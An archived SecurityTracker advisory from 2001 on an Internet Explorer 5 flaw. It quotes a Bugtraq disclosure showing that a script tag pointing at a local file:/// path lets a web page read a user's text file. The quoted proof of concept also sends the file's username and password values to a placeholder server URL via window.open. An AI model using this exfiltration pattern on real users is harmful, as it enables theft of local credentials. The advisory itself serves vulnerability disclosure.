SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (Web Browser)  >   Microsoft Internet Explorer (IE) Vendors:   Microsoft
(Exploit Is Corrected) Re: Microsoft Internet Explorer Web Browser May Allow Remote Users to Read Some Text Files on the Browser's Hard Drive
SecurityTracker Alert ID:  1001709
SecurityTracker URL:  http://securitytracker.com/id/1001709
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jun 8 2001
Impact:   Disclosure of system information, Disclosure of user information
Exploit Included:  Yes  
Version(s): Internet Explorer 5
Description:   A vulnerability has been reported in Microsoft's Internet Explorer web browser that may allow remote users to read some textfiles on the browser's hard drive.

For a detailed description of this vulnerability, see the Message History for the original report.

The script tag provided in the original report was not correct. The correct script tag should read as follows:

<script src="file:///C:/WINNT/test.txt"></script>

Impact:   A remote user may be able to access the content of certain files on the hard drive of the target web browser, depending on the content of the files.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.microsoft.com/technet/security/ (Links to External Site)
Cause:   State error
Underlying OS:   Windows (Me), Windows (NT), Windows (95), Windows (98), Windows (2000)

Message History:   This archive entry is a follow-up to the message listed below.
Jun 7 2001 Microsoft Internet Explorer Web Browser May Allow Remote Users to Read Some Text Files on the Browser's Hard Drive



 Source Message Contents

Date:  Fri, 8 Jun 2001 10:33:38 +0200
Subject:  RE: security bug Internet Explorer 5


I noticed that my previous mail was strangly reformatted. I guess Outlook
tried to outsmart me again.

The script tag should be 
<script src="file:///C:/WINNT/test.txt"></script>

-----Original Message-----
From: Stefaan Deman [mailto:Stefaan.Deman@compex.be]
Sent: Wednesday, June 06, 2001 10:27 AM
To: 'bugtraq@securityfocus.com'
Subject: security bug Internet Explorer 5


There is a security bug in the Internet Explorer 5 (I haven't tested it on
other browsers).
It is possible to read some textfiles (others than cookies) from the
client's hard disk.
If there is for example in the directory 'C:\WINNT' a textfile 'test.txt'
with content:
 
us="stefaan"
passwd="mypasswd"
 

then it is possible to read this file in an HTML page with the tag:
 
<script src="  <file:///C:/WINNT/test.txt>
file:///C:/WINNT/test.txt"></script>
 
The HTML page will consider the file as a script and us and passwd will be
considered as variables 
in the previous example.
 
It is then possible to use this information or send this (possible critical)
information back to the
webserver with for example
 
<script>
 //alert(passwd)
 window.open("  <http://myurl/myasppage.asp?us>
http://myurl/myasppage.asp?us=" + escape(us) + ";passwd=" +  escape(passwd),
"blabla")
</script>
 

This is a security bug, it should be impossible to read any file on the
client's file system.
Of course the file should have a correct JavaScript or VBscript syntax and
the filename should be known.
However, it is easy to image how this security hole can be misused.

This bug isn't as severe as the one posted by Guninski (
<http://www.guninski.com/scractx.html>
http://www.guninski.com/scractx.html). 
The difference between this bug and the one of Guninski is that this
security hole doesn't make use of
Active X components.
 
Stefaan Deman

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2012, SecurityGlobal.net LLC